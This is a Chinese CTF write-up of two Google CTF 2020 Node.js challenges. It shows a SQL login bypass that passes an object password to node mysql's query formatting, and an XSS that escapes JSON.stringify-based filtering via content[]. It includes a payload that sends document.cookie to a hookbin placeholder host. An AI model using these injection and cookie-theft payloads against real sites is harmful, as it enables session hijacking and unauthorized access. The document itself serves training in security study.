Background

昨天打gactf时候师傅说没有js题,google ctf 2020里面·有nodejs的题目 赶快来复现下

Log me in

Log in to get the flag

⇥Attachment https://log-me-in.web.ctfcompetition.com/
直接浏览网页

登录页面弱口令admin admin可以登录
flag
提示只有michelle这个账号才能登录,看一些代码

app.use(bodyParser.urlencoded({
  extended: true
}))

这个是第一次见,使用qs.query()处理传参,简单记录一下允许以json的方式放送
在login路由里面我发现了与数据库交互的地方

app.post('/login', (req, res) => {
  const u = req.body['username'];
  const p = req.body['password'];

  const con = DBCon(); // mysql.createConnection(...).connect()

  const sql = 'Select * from users where username = ? and password = ?';
  con.query(sql, [u, p], function(err, qResult) {
    if(err) {
      res.render('login', {error: `Unknown error: ${err}`});
    } else if(qResult.length) {
      const username = qResult[0]['username'];
      let flag;
      if(username.toLowerCase() == targetUser) {
        flag = flagValue
      } else{
        flag = "<span class=text-danger>Only Michelle's account has the flag</span>";
      }
      req.session.username = username
      req.session.flag = flag
      res.redirect('/me');
    } else {
      res.render('login', {error: "Invalid username or password"})
    }
  });
});

可以关注一个点:toLowerCase
转小写,本能想到原型链污染,但后来发现根本找不到链
参考颖奇师傅所说,和john的video

let object = {
    "password" : 1
}
var mySql = mysql.format('SELECT * from users where username = ? and password = ?',["michelle",object]);
console.log(mySql);

写一个demo 将对象传给password
会变成

 password = `password`= 1

参考Wesley师傅的一句话

on SQL, (反引号) can be used to mark the value as the name of a column or
table

password=`password` 

it is the same as password=password,

basically it is comparing if the value of the password column is equal
to itself, what will always be true

`password = `password` = 1`

will be

evaluated to true = 1 which is the same as true = true, that is, true

翻译过来就是

在SQL上,反引号可用于将值标记为列或表的名称

password =`password`

与password = password相同,基本上是在比较password列的值是否等于其自身,始终为true

password =`password` =
> 1

将被评估为true = 1,与true = true相同,即true
在颖奇师傅的博客里找到了官方文档的一句话

Objects are turned into key = 'val' pairs for each enumerable property
on the object. If the property's value is a function, it is skipped;
if the property's value is an object, toString() is called on it and
the returned value is used.

so 接下来就是登录getflag

最终get flag
请输入图片描述

pasteurize

请输入图片描述
请输入图片描述
打开页面直接看到一个交互的地方,简单看了看功能,大致是写点什么东西可以分享给管理员
我先直接测试一个alert(1)
请输入图片描述
发现有过滤
关键代码

const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

掐头去尾之后再替换,那么我们直接/source看看源码有什么可以应用的地方

app.use(bodyParser.urlencoded({
  extended: true
}));

和上一道题一样,允许对象嵌套的方式,也支持以json方式传输数据
我这里测试了一些小demo来理解json.stringify.slice的过滤方式
请输入图片描述

const unsafe_content = note.content;
  const safe_content = escape_string(unsafe_content);

  res.render('note_public', {
    content: safe_content,
    id: note_id,
    captcha: res.recaptcha
  });
});

这个代码这里创建了一个content用来渲染其他参数
这里面我引用颖奇师傅blog的一句话

正常情况下提交content就是什么就输出什么,因为slice(1,-1)脱去了分号;如果是利用qs.parse()提交对象就不一样了,此时经过JSON.stringify()得到的字符串再slice(1,-1)切片脱去的就不再是引号而是两侧的大括号了,因为此时的content不再是字符串而是对象
利用这个办法拿掉大括号,然后我们手动闭合双引号,后面多余的注释掉就好了

构造如下
content[]=;alert(1)//
就会变成
const note = "";alert(1)//"";
构造拿cookie即可
我这里面用hookbin把flag带出来

"; new Image().src = 'hookbin地址?c='+document.cookie

请输入图片描述

参考资料

颖奇师傅:https://www.gem-love.com/ctf/2593.html
John hammond : https://www.youtube.com/watch?v=HOQzu0SQFWA
https://www.youtube.com/watch?v=voO6wu_58Ew